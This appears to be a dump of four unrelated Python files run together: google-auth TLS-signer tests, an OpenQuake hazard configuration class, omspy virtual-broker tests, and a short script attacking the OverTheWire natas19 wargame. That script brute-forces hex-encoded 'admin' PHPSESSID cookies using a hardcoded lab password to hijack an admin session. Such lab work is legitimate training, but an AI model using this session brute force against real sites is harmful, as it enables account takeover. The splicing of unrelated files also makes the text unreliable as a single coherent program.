import base64
import ctypes
import os

import mock
import pytest  # type: ignore
from requests.packages.urllib3.util.ssl_ import create_urllib3_context  # type: ignore
import urllib3.contrib.pyopenssl  # type: ignore

from google.auth import exceptions
from google.auth.transport import _custom_tls_signer

urllib3.contrib.pyopenssl.inject_into_urllib3()

FAKE_ENTERPRISE_CERT_FILE_PATH = "/path/to/enterprise/cert/file"
ENTERPRISE_CERT_FILE = os.path.join(
    os.path.dirname(__file__), "../data/enterprise_cert_valid.json"
)
INVALID_ENTERPRISE_CERT_FILE = os.path.join(
    os.path.dirname(__file__), "../data/enterprise_cert_invalid.json"
)

def test_load_offload_lib():
    with mock.patch("ctypes.CDLL", return_value=mock.MagicMock()):
        lib = _custom_tls_signer.load_offload_lib("/path/to/offload/lib")

    assert lib.ConfigureSslContext.argtypes == [
        _custom_tls_signer.SIGN_CALLBACK_CTYPE,
        ctypes.c_char_p,
        ctypes.c_void_p,
    ]
    assert lib.ConfigureSslContext.restype == ctypes.c_int

def test_load_signer_lib():
    with mock.patch("ctypes.CDLL", return_value=mock.MagicMock()):
        lib = _custom_tls_signer.load_signer_lib("/path/to/signer/lib")

    assert lib.SignForPython.restype == ctypes.c_int
    assert lib.SignForPython.argtypes == [
        ctypes.c_char_p,
        ctypes.c_char_p,
        ctypes.c_int,
        ctypes.c_char_p,
        ctypes.c_int,
    ]

    assert lib.GetCertPemForPython.restype == ctypes.c_int
    assert lib.GetCertPemForPython.argtypes == [
        ctypes.c_char_p,
        ctypes.c_char_p,
        ctypes.c_int,
    ]

def test__compute_sha256_digest():
    to_be_signed = ctypes.create_string_buffer(b"foo")
    sig = _custom_tls_signer._compute_sha256_digest(to_be_signed, 4)

    assert (
        base64.b64encode(sig).decode() == "RG5gyEH8CAAh3lxgbt2PLPAHPO8p6i9+cn5dqHfUUYM="
    )

def test_get_sign_callback():
    # mock signer lib's SignForPython function
    mock_sig_len = 10
    mock_signer_lib = mock.MagicMock()
    mock_signer_lib.SignForPython.return_value = mock_sig_len

    # create a sign callback. The callback calls signer lib's SignForPython method
    sign_callback = _custom_tls_signer.get_sign_callback(
        mock_signer_lib, FAKE_ENTERPRISE_CERT_FILE_PATH
    )

    # mock the parameters used to call the sign callback
    to_be_signed = ctypes.POINTER(ctypes.c_ubyte)()
    to_be_signed_len = 4
    returned_sig_array = ctypes.c_ubyte()
    mock_sig_array = ctypes.byref(returned_sig_array)
    returned_sign_len = ctypes.c_ulong()
    mock_sig_len_array = ctypes.byref(returned_sign_len)

    # call the callback, make sure the signature len is returned via mock_sig_len_array[0]
    assert sign_callback(
        mock_sig_array, mock_sig_len_array, to_be_signed, to_be_signed_len
    )
    assert returned_sign_len.value == mock_sig_len

def test_get_sign_callback_failed_to_sign():
    # mock signer lib's SignForPython function. Set the sig len to be 0 to
    # indicate the signing failed.
    mock_sig_len = 0
    mock_signer_lib = mock.MagicMock()
    mock_signer_lib.SignForPython.return_value = mock_sig_len

    # create a sign callback. The callback calls signer lib's SignForPython method
    sign_callback = _custom_tls_signer.get_sign_callback(
        mock_signer_lib, FAKE_ENTERPRISE_CERT_FILE_PATH
    )

    # mock the parameters used to call the sign callback
    to_be_signed = ctypes.POINTER(ctypes.c_ubyte)()
    to_be_signed_len = 4
    returned_sig_array = ctypes.c_ubyte()
    mock_sig_array = ctypes.byref(returned_sig_array)
    returned_sign_len = ctypes.c_ulong()
    mock_sig_len_array = ctypes.byref(returned_sign_len)
    sign_callback(mock_sig_array, mock_sig_len_array, to_be_signed, to_be_signed_len)

    # sign callback should return 0
    assert not sign_callback(
        mock_sig_array, mock_sig_len_array, to_be_signed, to_be_signed_len
    )

def test_get_cert_no_cert():
    # mock signer lib's GetCertPemForPython function to return 0 to indicts
    # the cert doesn't exit (cert len = 0)
    mock_signer_lib = mock.MagicMock()
    mock_signer_lib.GetCertPemForPython.return_value = 0

    # call the get cert method
    with pytest.raises(exceptions.MutualTLSChannelError) as excinfo:
        _custom_tls_signer.get_cert(mock_signer_lib, FAKE_ENTERPRISE_CERT_FILE_PATH)

    assert excinfo.match("failed to get certificate")

def test_get_cert():
    # mock signer lib's GetCertPemForPython function
    mock_cert_len = 10
    mock_signer_lib = mock.MagicMock()
    mock_signer_lib.GetCertPemForPython.return_value = mock_cert_len

    # call the get cert method
    mock_cert = _custom_tls_signer.get_cert(
        mock_signer_lib, FAKE_ENTERPRISE_CERT_FILE_PATH
    )

    # make sure the signer lib's GetCertPemForPython is called twice, and the
    # mock_cert has length mock_cert_len
    assert mock_signer_lib.GetCertPemForPython.call_count == 2
    assert len(mock_cert) == mock_cert_len

def test_custom_tls_signer():
    offload_lib = mock.MagicMock()
    signer_lib = mock.MagicMock()

    # Test load_libraries method
    with mock.patch(
        "google.auth.transport._custom_tls_signer.load_signer_lib"
    ) as load_signer_lib:
        with mock.patch(
            "google.auth.transport._custom_tls_signer.load_offload_lib"
        ) as load_offload_lib:
            load_offload_lib.return_value = offload_lib
            load_signer_lib.return_value = signer_lib
            signer_object = _custom_tls_signer.CustomTlsSigner(ENTERPRISE_CERT_FILE)
            signer_object.load_libraries()
    assert signer_object._cert is None
    assert signer_object._enterprise_cert_file_path == ENTERPRISE_CERT_FILE
    assert signer_object._offload_lib == offload_lib
    assert signer_object._signer_lib == signer_lib
    load_signer_lib.assert_called_with("/path/to/signer/lib")
    load_offload_lib.assert_called_with("/path/to/offload/lib")

    # Test set_up_custom_key and set_up_ssl_context methods
    with mock.patch("google.auth.transport._custom_tls_signer.get_cert") as get_cert:
        with mock.patch(
            "google.auth.transport._custom_tls_signer.get_sign_callback"
        ) as get_sign_callback:
            get_cert.return_value = b"mock_cert"
            signer_object.set_up_custom_key()
            signer_object.attach_to_ssl_context(create_urllib3_context())
    get_cert.assert_called_once()
    get_sign_callback.assert_called_once()
    offload_lib.ConfigureSslContext.assert_called_once()

def test_custom_tls_signer_failed_to_load_libraries():
    # Test load_libraries method
    with pytest.raises(exceptions.MutualTLSChannelError) as excinfo:
        signer_object = _custom_tls_signer.CustomTlsSigner(INVALID_ENTERPRISE_CERT_FILE)
        signer_object.load_libraries()
    assert excinfo.match("enterprise cert file is invalid")

def test_custom_tls_signer_fail_to_offload():
    offload_lib = mock.MagicMock()
    signer_lib = mock.MagicMock()

    with mock.patch(
        "google.auth.transport._custom_tls_signer.load_signer_lib"
    ) as load_signer_lib:
        with mock.patch(
            "google.auth.transport._custom_tls_signer.load_offload_lib"
        ) as load_offload_lib:
            load_offload_lib.return_value = offload_lib
            load_signer_lib.return_value = signer_lib
            signer_object = _custom_tls_signer.CustomTlsSigner(ENTERPRISE_CERT_FILE)
            signer_object.load_libraries()

    # set the return value to be 0 which indicts offload fails
    offload_lib.ConfigureSslContext.return_value = 0

    with pytest.raises(exceptions.MutualTLSChannelError) as excinfo:
        with mock.patch(
            "google.auth.transport._custom_tls_signer.get_cert"
        ) as get_cert:
            with mock.patch(
                "google.auth.transport._custom_tls_signer.get_sign_callback"
            ):
                get_cert.return_value = b"mock_cert"
                signer_object.set_up_custom_key()
                signer_object.attach_to_ssl_context(create_urllib3_context())
    assert excinfo.match("failed to configure SSL context")


# -*- coding: utf8 -*-

import time

import requests

def fromHex(hexd):
    codes = [ hexd[i:i+2] for i in range(0,len(hexd),2) ]
    return ''.join([chr(int(code, 16)) for code in codes])

def toHex(txt):
    chars = [ hex(ord(char))[2:] for char in txt ]
    return ''.join(chars)

url = "http://natas19.natas.labs.overthewire.org/index.php"
sessionid = "{0}-admin"
auth = ("natas19", "4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs")

for i in range(290, 650):
    if i%10 == 0:
        print("rendus à " + str(i))

    cookie = {"PHPSESSID" : toHex(sessionid.format(i))}

    r = requests.get(url, auth=auth, cookies=cookie)

    if "logged in as a regular user" not in r.text:
       print(r.text)

print("done with logins")
#for i in rag


"""
OpenQuake configuration file
"""

from __future__ import absolute_import, division, print_function, unicode_literals

import os
import pprint
import copy
import numpy as np
import json
from configobj import Section, ConfigObj
from validate import Validator

__all__ = ['OQ_Params']

class ConfigError(Exception):
	pass

class OQ_Params(ConfigObj):
	"""
	Class representing OQ configuration parameters

	:param ini_filespec:
		str, full path to .INI file
		(default: None)
	:param calculation_mode:
		str, calculation mode, e.g. "classical", "event_based"
		(default: "classical")
	:param description:
		str, description of model run
		(default: "")
	:param site_type:
		str, type of site specification, e.g. "grid", "sites"
		(default: "grid")
	"""
	def __init__(self, ini_filespec=None, calculation_mode="classical",
				description="", site_type="grid"):
		configspec = os.path.join(os.path.dirname(os.path.realpath( __file__ )),
								"configspec.gem")
		super(OQ_Params, self).__init__(ini_filespec, configspec=configspec,
									write_empty_values=True, list_values=False)
		if not ini_filespec:
			## Construct dictionary with sensible default values
			General_params = Section(self, 1, self, name="general")
			General_params["description"] = description
			General_params["calculation_mode"] = calculation_mode
			General_params.comments["calculation_mode"] = ["classical, "
															"event_based, ..."]
			General_params["random_seed"] = 42

			Geometry_params = Section(self, 1, self, name="geometry")
			if site_type == "grid":
				Geometry_params["region"] = []
				# TODO: check order: lon, lat or lat, lon?
				Geometry_params.comments["region"] = ["lon, lat of polygon "
							"vertices (in clock or counter-clock wise order)"]
				Geometry_params["region_grid_spacing"] = 10
				Geometry_params.comments["region_grid_spacing"] = ["km"]
			elif site_type in ("site", "sites"):
				# TODO: check if this still exists
				Geometry_params["sites"] = []

			LogicTree_params = Section(self, 1, self, name="logic_tree")
			LogicTree_params["number_of_logic_tree_samples"] = 1
			LogicTree_params.comments["number_of_logic_tree_samples"] = [
										"Monte Carlo sampling of logic tree"]

			Erf_params = Section(self, 1, self, name="erf")
			Erf_params["rupture_mesh_spacing"] = 5
			Erf_params.comments["rupture_mesh_spacing"] = ["km"]
			Erf_params["area_source_discretization"] = 5
			Erf_params.comments["area_source_discretization"] = ["km"]
			Erf_params["width_of_mfd_bin"] = 0.2
			Erf_params.comments["width_of_mfd_bin"] = ["bin width of the "
										"magnitude frequency distribution"]

			Site_params = Section(self, 1, self, name="site_params")
			Site_params["reference_vs30_type"] = "inferred"
			Site_params.comments["reference_vs30_type"] = ["measured or inferred"]
			# TODO: what other options are there?
			Site_params["reference_vs30_value"] = 760.
			Site_params.comments["reference_vs30_value"] = ["(m/s)"]
			Site_params["reference_depth_to_2pt5km_per_sec"] = 2
			Site_params.comments["reference_depth_to_2pt5km_per_sec"] = [
						"The depth to where shear-wave velocity = 2.5 km/sec.",
						"Cambpell basin depth. Measure is (km)"]
			Site_params["reference_depth_to_1pt0km_per_sec"] = 100.
			# TODO: in m?
			## Note: don't set reference_kappa by default, as it is not standard
			#Site_params["reference_kappa"] = 0.01
			#Site_params.comments["reference_kappa"] = ["kappa value, in seconds"]

			Calculation_params = Section(self, 1, self, name="calculation")
			Calculation_params["source_model_logic_tree_file"] = \
												"source_model_logic_tree.xml"
			Calculation_params.comments["source_model_logic_tree_file"] = [
								"file containing erf logic tree structure"]
			Calculation_params["gsim_logic_tree_file"] = "gmpe_logic_tree.xml"
			Calculation_params.comments["gsim_logic_tree_file"] = [
								"file containing gmpe logic tree structure"]
			Calculation_params["investigation_time"] = 50
			Calculation_params.comments["investigation_time"] = ["years"]
			Calculation_params["intensity_measure_types_and_levels"] = '{"PGA": []}'
			# TODO: in event-based example, it's only intensity_measure_types!
			Calculation_params["truncation_level"] = 3
			Calculation_params.comments["truncation_level"] = ["(1,2,3,...)"]
			Calculation_params["maximum_distance"] = 200
			Calculation_params.comments["maximum_distance"] = [
										"maximum integration distance (km)"]

			Output_params = Section(self, 1, self, name="output")
			# TODO: is export_dir the same as output_dir in previous versions of OQ?
			Output_params["export_dir"] = "computed_output/%s" % calculation_mode
			Output_params.comments["export_dir"] = ["output directory - "
													"relative to this file"]

			ClassicalOutput_params = ConfigObj()
			ClassicalOutput_params["mean_hazard_curves"] = True
			ClassicalOutput_params.comments["mean_hazard_curves"] = [
												"Compute mean hazard curve"]
			#ClassicalOutput_params["quantile_hazard_curves"] = [0.05, 0.16, 0.50, 0.84, 0.95]
			ClassicalOutput_params["quantile_hazard_curves"] = \
												"0.05, 0.16, 0.50, 0.84, 0.95"
			ClassicalOutput_params.comments["quantile_hazard_curves"] = [
											"List of quantiles to compute"]
			ClassicalOutput_params["hazard_maps"] = True
			ClassicalOutput_params["uniform_hazard_spectra"] = True
			ClassicalOutput_params["poes"] = "0.1"
			# TODO: 0.1 = 10 percent?
			ClassicalOutput_params.comments["poes"] = ["List of POEs to use "
												"for computing hazard maps"]

			Disagg_params = Section(self, 1, self, name="disaggregation")
			Disagg_params["poes_disagg"] = "0.1"
			Disagg_params["mag_bin_width"] = 0.5
			Disagg_params["distance_bin_width"] = 7.5
			Disagg_params["coordinate_bin_width"] = 0.2
			Disagg_params["num_epsilon_bins"] = 6

			# TODO: the following output params are probably for event-based only
			EventBasedOutput_params = ConfigObj()
			EventBasedOutput_params["complete_logic_tree_ses"] = True
			EventBasedOutput_params["complete_logic_tree_gmf"] = True
			EventBasedOutput_params["ground_motion_fields"] = True

			EventBased_params = Section(self, 1, self, name="event_based_params")
			EventBased_params["ses_per_logic_tree_path"] = 5
			EventBased_params["ground_motion_correlation_model"] = "JB2009"
			EventBased_params["ground_motion_correlation_params"] = \
												'{"vs30_clustering": True}'

			self["general"] = General_params
			self["geometry"] = Geometry_params
			self.comments["geometry"] = [""]
			self["logic_tree"] = LogicTree_params
			self.comments["logic_tree"] = [""]
			self["erf"] = Erf_params
			self.comments["erf"] = [""]
			self["site_params"] = Site_params
			self.comments["site_params"] = [""]
			self["calculation"] = Calculation_params
			self.comments["calculation"] = [""]
			if self.calculation_mode == "classical":
				Output_params.merge(ClassicalOutput_params)
				for key in ClassicalOutput_params.keys():
					Output_params.comments[key] = ClassicalOutput_params.comments[key]
			if self.calculation_mode == "disaggregation":
				self["disaggregation"] = Disagg_params
				self.comments["disaggregation"] = [""]
			if calculation_mode == "event_based":
				self["event_based_params"] = EventBased_params
				self.comments["event_based_params"] = [""]
				Output_params.merge(EventBasedOutput_params)
				for key in EventBasedOutput_params.keys():
					Output_params.comments[key] = EventBasedOutput_params.comments[key]
			self["output"] = Output_params
			self.comments["output"] = [""]

		self.validator = Validator()
		self.__initialized = True

	def __getattr__(self, name):
		key = name.lower()
		for section_name in self.sections:
			if key in self[section_name].keys():
				return self[section_name][key]
		raise AttributeError(name)

	def __setattr__(self, name, value):
		if not '_OQ_Params__initialized' in self.__dict__:
			## This test allows attributes to be set in the __init__ method
			return super(OQ_Params, self).__setattr__(name, value)
		elif name in self.__dict__:
			## Any normal attributes are handled normally
			super(OQ_Params, self).__setattr__(name, value)
		else:
			## Allow dictionary elements to be set as if they were attributes
			key = name.lower()
			if key == "calculation_mode":
				raise ConfigError("Calculation mode cannot be changed "
								"after initialization")
			## POES and QUANTILE_LEVELS don't follow the rules...
			elif key == "poes":
				self["output"]["poes"] = " ".join(map(str, value))
			elif key == "poes_disagg":
				self["disaggregation"]["poes_disagg"] = " ".join(map(str, value))
			elif (key == "quantile_hazard_curves"
				and self["general"]["calculation_mode"] == "classical"):
				self["output"]["quantile_hazard_curves"] = ", ".join(map(str, value))
			elif (key == "percentiles"
				and self["general"]["calculation_mode"] == "classical"):
				self["output"]["quantile_hazard_curves"] = ", ".join(map(str,
													[val/100. for val in value]))
			elif key == "intensity_measure_types_and_levels":
				self.set_imts(value)
			# TODO: we will need to do something similar for ground_motion_correlation_params
			else:
				for section_name in self.sections:
					if key in self[section_name].keys():
						self[section_name][key] = self.validator.check(
									self.configspec[section_name][key], value)
						break
				else:
					raise AttributeError(name)

	def validate(self):
		"""
		Validate parameters according to configspec
		"""
		for section_name in self.sections:
			for key, value in self[section_name].items():
				## Workaround to prevent validation failure when there is only 1 site
				if section_name == "geometry" and key == "sites":
					if not isinstance(value, list):
						value = [value]
				self.validator.check(self.configspec[section_name][key], value)
		## The following doesn't work:
		#return super(OQ_Params, self).validate(self.validator, preserve_errors=True)

	def compare(self, other_params):
		"""
		Compare with another OQ_Params object

		:param other_params:
			instance of :class:`OQ_Params`
		"""
		for section_name in self.sections:
			for key in self[section_name]:
				if key in other_params[section_name]:
					value1 = self[section_name][key]
					value2 = other_params[section_name][key]
					if (self.validator.check(self.configspec[section_name][key], value1)
						!= other_params.validator.check(self.configspec[section_name][key], value2)):
						print("%s: values differ" % key)
						print("  this: %s" % value1)
						print("  other: %s" % value2)
				else:
					print("%s: missing in other" % key)
			for key in other_params[section_name]:
				if not key in self[section_name]:
					print("%s: defined in other" % key)

#	def set_imts(self, imts):
#		"""
#		Set intensity measure types and levels

#		:param imts:
#			Dictionary mapping intensity measure type objects (see
#			:mod:`oqhazlib.imt`) to lists of intensity measure levels.
#		"""
#		if isinstance(imts, dict):
#			#self["calculation"]["intensity_measure_types_and_levels"] = repr(imts)
#			## Copy to a new dictionary with seriazable keys
#			imts2 = {}
#			for key in imts.keys():
#				imts2[repr(key)] = imts[key]
#			self["calculation"]["intensity_measure_types_and_levels"] = json.dumps(imts2, default=list)
#		elif isinstance(imts, str):
#			self["calculation"]["intensity_measure_types_and_levels"] = imts
#		else:
#			raise TypeError("IMTS must be dict or string")

	def set_imts(self, imts):
		"""
		Set intensity measure types and levels

		:param imts:
			Dictionary mapping string for intensity measure type
			to lists of intensity measure levels.
		"""
		if isinstance(imts, dict):
			self["calculation"]["intensity_measure_types_and_levels"] = \
				json.dumps(imts, default=list)
		else:
			raise TypeError("IMTS must be dict or string")

	def set_grid_or_sites(self, sites=[], grid_outline=[], grid_spacing=10.):
		"""
		Set locations (grid or sites) where to compute hazard

		:param sites:
			list of (lon, lat) tuples or oqhazlib Site objects
			(default: [])
		:param grid_outline:
			list of points ((lon, lat) tuples) defining the outline of a
			regular grid. If grid_outline contains only 2 points, these
			are considered as the lower left and upper right corners.
			Alternatively, may also be [lonmin, lonmax, latmin, latmax]
			(default: [])
		:param grid_spacing:
			Float, grid spacing in km
			(default: 10)
		"""
		if sites and len(sites) > 0:
			self["geometry"]["sites"] = []
			for point in sites:
				if hasattr(point, "location"):
					lon, lat = point.location.longitude, point.location.latitude
				else:
					lon, lat = point[:2]
				self["geometry"]["sites"].append(" ".join(map(str, (lon, lat))))
			## Workaround to prevent trailing comma if there is only 1 site
			if len(self["geometry"]["sites"]) == 1:
				self["geometry"]["sites"] = self["geometry"]["sites"][0]
			## Remove grid parameters if necessary
			if "region" in self["geometry"]:
				del self["geometry"]["region"]
				del self["geometry"]["region_grid_spacing"]

		elif grid_outline and len(grid_outline) > 0:
			self["geometry"]["region"] = []
			if len(grid_outline) == 1:
				raise ConfigError("grid_outline must contain 2 points at least")
			elif len(grid_outline) == 2:
				ll, ur = grid_outline
				lr = (ur[0], ll[1])
				ul = (ll[0], ur[1])
				grid_outline = [ll, lr, ur, ul]
			elif len(grid_outline) == 4 and np.isscalar(grid_outline[0]):
				lonmin, lonmax, latmin, latmax = grid_outline
				ll = (lonmin, latmin)
				ul = (lonmin, latmax)
				ur = (lonmax, latmax)
				lr = (lonmax, latmin)
				grid_outline = [ll, lr, ur, ul]
			for lon, lat in grid_outline:
				self["geometry"]["region"].append(" ".join(map(str, (lon, lat))))
			self["geometry"]["region_grid_spacing"] = grid_spacing
			## Remove sites key if present
			if "sites" in self["geometry"]:
				del self["geometry"]["sites"]

	def set_soil_site_model_or_reference_params(self, soil_site_model_file=None,
					reference_vs30_value=760.0, reference_vs30_type="inferred",
					reference_depth_to_1pt0km_per_sec=100.,
					reference_depth_to_2pt5km_per_sec=2., reference_kappa=None):
		"""
		Set site parameters, either as site model or as reference parameters

		:param soil_site_model_file:
			String, full path specification of file containing site model.
			If specified, soil_site_model_file takes precedence over
			other parameters
			(default: None)
		:param reference_vs30_value:
			Float, reference vs30 value in m/s
			(default: 760.)
		:param reference_vs30_type:
			String, reference vs30 type ("measured" or "inferred")
			(default: "inferred")
		:param reference_depth_to_1pt0km_per_sec:
			Float, reference depth to vs=1.0 km/s, specified in m
			(default: 100.)
		:param reference_depth_to_2pt5km_per_sec:
			Float, reference depth to vs=2.5 km/s, specified in km
			(default: 2.)
		:param reference_kappa:
			Float, reference kappa value, specified in s
			(default: None)
		"""
		if soil_site_model_file:
			self["site_params"]["site_model_file"] = soil_site_model_file
			## Remove reference_params keys if present
			if "reference_vs30_value" in self["site_params"]:
				del self["site_params"]["reference_vs30_value"]
				del self["site_params"]["reference_vs30_type"]
				del self["site_params"]["reference_depth_to_1pt0km_per_sec"]
				del self["site_params"]["reference_depth_to_2pt5km_per_sec"]
			if "reference_kappa" in self["site_params"]:
				del self["site_params"]["reference_kappa"]
		else:
			self["site_params"]["reference_vs30_value"] = reference_vs30_value
			self["site_params"]["reference_vs30_type"] = reference_vs30_type
			self["site_params"]["reference_depth_to_1pt0km_per_sec"] = reference_depth_to_1pt0km_per_sec
			self["site_params"]["reference_depth_to_2pt5km_per_sec"] = reference_depth_to_2pt5km_per_sec
			if reference_kappa:
				self["site_params"]["reference_kappa"] = reference_kappa
			## Remove soil_site_model_file key if present
			if "site_model_file" in self["site_params"]:
				del self["site_params"]["site_model_file"]

	# TODO: the following methods will need to be checked when we know how deaggregation parameters are specified in job.ini

	def set_epsilon_bin_limits(self, bin_width=0.5):
		"""
		Set epsilon bin limits from bin width:

		:param bin_width:
			float, bin width for epsilon values
			(default: 0.5)
		"""
		if self.calculation_mode == "Disaggregation":
			num_bins, remainder = divmod(self.truncation_level, bin_width)
			self.epsilon_bin_limits = np.linspace(0, self.truncation_level + remainder,
												num_bins+1)

	def set_distance_bin_limits(self, bin_width=15):
		"""
		Set distance bin limits from bin width:

		:param bin_width:
			float, bin width for distance values (in km)
			(default: 15)
		"""
		if self.calculation_mode == "Disaggregation":
			num_bins, remainder = divmod(self.maximum_distance, bin_width)
			self.distance_bin_limits = np.linspace(0, self.maximum_distance + remainder,
													num_bins+1)

	def set_magnitude_bin_limits(self, Mmax, bin_width=None):
		"""
		Set magnitude bin limits from Mmax and bin width

		:param Mmax:
			float, maximum magnitude
		:param bin_width:
			float, bin width for magnitude values
			(default: None, will use :prop:`width_of_mfd_bin`
		"""
		if self.calculation_mode == "Disaggregation":
			if not bin_width:
				bin_width = self.width_of_mfd_bin
			Mrange = Mmax - self.minimum_magnitude
			num_bins, remainder = divmod(Mrange, bin_width)
			self.magnitude_bin_limits = np.linspace(self.minimum_magnitude,
													Mmax + remainder, num_bins+1)

	def set_latitude_bin_limits(self, lat_min, lat_max, bin_width=0.1):
		"""
		Set latitude bin limits from latitude bounds and bin_width

		:param lat_min:
			float, minimum latitude (in degrees)
		:param lat_max:
			float, maximum latitude (in degrees)
		:param bin_width:
			float, bin width from latitude values (in degrees)
			(default: 0.1)
		"""
		if self.calculation_mode == "Disaggregation":
			lat_range = lat_max - lat_min
			num_bins, remainder = divmod(lat_range, bin_width)
			self.latitude_bin_limits = np.linspace(lat_min, lat_max + remainder,
													num_bins+1)

	def set_longitude_bin_limits(self, lon_min, lon_max, bin_width=0.1):
		"""
		Set longitude bin limits from longitude bounds and bin_width

		:param lon_min:
			float, minimum longitude (in degrees)
		:param lon_max:
			float, maximum longitude (in degrees)
		:param bin_width:
			float, bin width from longitude values (in degrees)
			(default: 0.1)
		"""
		if self.calculation_mode == "Disaggregation":
			lon_range = lon_max - lon_min
			num_bins, remainder = divmod(lon_range, bin_width)
			self.longitude_bin_limits = np.linspace(lon_min, lon_max + remainder,
													num_bins+1)

	def clear(self):
		"""
		Clear all configuration parameters
		"""
		configspec = self.configspec
		filename = self.filename
		super(OQ_Params, self).clear()
		self.filename = filename
		self.configspec = configspec

	def pretty_print(self):
		"""
		Print configuration parameters as a dictionary
		"""
		pp = pprint.PrettyPrinter()
		for section_name in self.sections:
			section = self[section_name]
			print("[%s]" % section.name)
			pp.pprint(section.dict())

	def print_screen(self):
		"""
		Print contents of INI file to screen
		"""
		filename = self.filename
		self.filename = None
		for line in self.write():
			print(line)
		self.filename = filename

	def write_config(self, ini_filespec):
		"""
		Write INI file

		:param ini_filespec:
			full path specification to output INI file
		"""
		of = open(ini_filespec, "w")
		self.write(of)
		of.close()

if __name__ == "__main__":
	import openquake.hazardlib as oqhazlib
	ini_filespec = r"C:\Temp\job.ini"
	calculation_mode = "classical"
	site_type = "sites"
	params = OQ_Params(calculation_mode=calculation_mode, site_type=site_type)

	## Get and set some parameters
	params.random_seed = 30
	print(params.random_seed)
	params.percentiles = [16, 50, 84]
	params.intensity_measure_types_and_levels = {"PGA": np.arange(0.1, 1.1, 0.1)}
	params.set_grid_or_sites(grid_outline=[(4.0, 50.0), [5.0, 51.0]], grid_spacing=10.)
#	params.validate()

	print(params.intensity_measure_types_and_levels)

	## Print or write to file
	params.print_screen()
	#params.write_config(ini_filespec)

	#params2 = OQ_Params(ini_filespec)
	#params.compare(params2)


from omspy.simulation.virtual import *
import pytest
import pendulum
import random
from unittest.mock import patch, Mock
from pydantic import ValidationError
from dataclasses import dataclass, asdict
import string

def generate_instrument(**kwargs):
    """
    generate a random instrument
    """
    inst_args = dict()
    name = "".join(random.choices(string.ascii_uppercase, k=random.randrange(4, 11)))
    if "name" in kwargs:
        name = kwargs.get("name")
        kwargs.pop("name")
    inst_args["name"] = name
    if "last_price" in kwargs:
        return Instrument(name=name, **kwargs)
    else:
        last_price = random.randrange(100, 200)
        open_price = last_price + random.randrange(1, 10)
        high = open_price + random.randrange(2, 20)
        low = open_price - random.randrange(2, 20)
        close = (last_price + open_price) / 2
        inst_args.update(
            dict(
                last_price=last_price, open=open_price, high=high, low=low, close=close
            )
        )
        inst_args.update(kwargs)
        return Instrument(**inst_args)

@pytest.fixture
def basic_broker() -> VirtualBroker:
    tickers = dict(
        aapl=Ticker(name="aapl", token=1111, initial_price=100),
        goog=Ticker(name="goog", token=2222, initial_price=125),
        amzn=Ticker(name="amzn", token=3333, initial_price=260),
    )
    return VirtualBroker(tickers=tickers)

@pytest.fixture
def basic_broker_with_users(basic_broker) -> VirtualBroker:
    basic_broker.add_user(VUser(userid="abcd1234"))
    basic_broker.add_user(VUser(userid="xyz456"))
    basic_broker.add_user(VUser(userid="bond007"))
    return basic_broker

@pytest.fixture
def basic_broker_with_prices(basic_broker) -> VirtualBroker:
    prices = [
        dict(aapl=105, goog=121, amzn=264),
        dict(aapl=102, goog=124, amzn=258),
        dict(aapl=99, goog=120, amzn=260),
        dict(aapl=106, goog=122, amzn=259),
        dict(aapl=103, goog=123, amzn=261),
    ]
    for last_price in prices:
        basic_broker.update_tickers(last_price)
    return basic_broker

@pytest.fixture
def replica_with_instruments() -> ReplicaBroker:
    random.seed(1000)
    broker = ReplicaBroker()
    names = ["AAPL", "XOM", "DOW"]
    instruments = []
    for name in names:
        inst = generate_instrument(name=name)
        instruments.append(inst)
    broker.update(instruments)
    return broker

@pytest.fixture
def replica_with_orders(replica_with_instruments) -> ReplicaBroker:
    @dataclass
    class Inputs:
        symbol: str
        side: int  # replace with enum by order
        quantity: int
        order_type: int  # replaced with enum by order
        price: float
        user: str

    order_inputs = [
        Inputs("AAPL", 1, 10, 1, 124, "user1"),
        Inputs("AAPL", -1, 10, 2, 126, "default"),
        Inputs("AAPL", 1, 20, 2, 124, "user2"),
        Inputs("DOW", -1, 13, 1, 124, "user1"),
        Inputs("DOW", 1, 18, 1, 124, "user2"),
        Inputs("XOM", 1, 20, 2, 154, "user2"),  # passed
        Inputs("XOM", 1, 30, 2, 135, "default"),
        Inputs("XOM", -1, 30, 2, 140, "default"),  # passed
        Inputs("AAPL", 1, 10, 2, 123, "default"),
        Inputs("AAPL", 1, 10, 2, 122, "default"),
    ]
    broker = replica_with_instruments
    for inputs in order_inputs:
        broker.order_place(**asdict(inputs))
    return broker

def test_generate_price():
    random.seed(100)
    assert generate_price() == 102
    assert generate_price(1000, 2000) == 1470
    assert generate_price(110, 100) == 107

def test_generate_orderbook_default():
    ob = generate_orderbook()
    ob.bid[-1].price == 99.96
    ob.ask[-1].price == 100.04
    for b in ob.bid:
        assert 50 < b.quantity < 150
    for a in ob.ask:
        assert 50 < b.quantity < 150

def test_generate_orderbook_swap_bid_ask():
    ob = generate_orderbook(bid=100.05, ask=100)
    ob.bid[-1].price == 99.96
    ob.ask[-1].price == 100.04
    for b in ob.bid:
        assert 50 <= b.quantity <= 150
    for a in ob.ask:
        assert 50 <= b.quantity <= 150

def test_generate_orderbook_depth():
    ob = generate_orderbook(depth=100)
    ob.bid[-1].price == 99.01
    ob.ask[-1].price == 100.99
    assert len(ob.bid) == 100
    assert len(ob.ask) == 100

def test_generate_orderbook_price_and_tick_and_quantity():
    ob = generate_orderbook(bid=1000, ask=1005, tick=2, depth=10, quantity=600)
    ob.bid[-1].price == 982
    ob.ask[-1].price == 1023
    assert len(ob.bid) == len(ob.ask) == 10
    for b in ob.bid:
        assert 300 <= b.quantity <= 900
    for a in ob.ask:
        assert 300 <= b.quantity <= 900

def test_generate_orderbook_orders_count():
    with patch("random.randrange") as randrange:
        randrange.side_effect = [10, 10, 100, 100] * 20
        ob = generate_orderbook()
    for a, b in zip(ob.ask, ob.bid):
        assert a.orders_count <= a.quantity
        assert b.orders_count <= b.quantity

def test_virtual_broker_defaults(basic_broker):
    b = basic_broker
    assert b.name == "VBroker"
    assert len(b.tickers) == 3
    assert b.failure_rate == 0.001

def test_virtual_broker_is_failure(basic_broker):
    b = basic_broker
    assert b.is_failure is False
    b.failure_rate = 1.0  # everything should fail now
    assert b.is_failure is True
    with pytest.raises(ValidationError):
        b.failure_rate = -1
    with pytest.raises(ValidationError):
        b.failure_rate = 2

def test_virtual_broker_order_place_success(basic_broker):
    b = basic_broker
    known = pendulum.datetime(2023, 2, 1, 10, 17)
    with pendulum.test(known):
        response = b.order_place(symbol="aapl", quantity=10, side=1)
        assert response.status == "success"
        assert response.timestamp == known
        assert response.data.order_id is not None
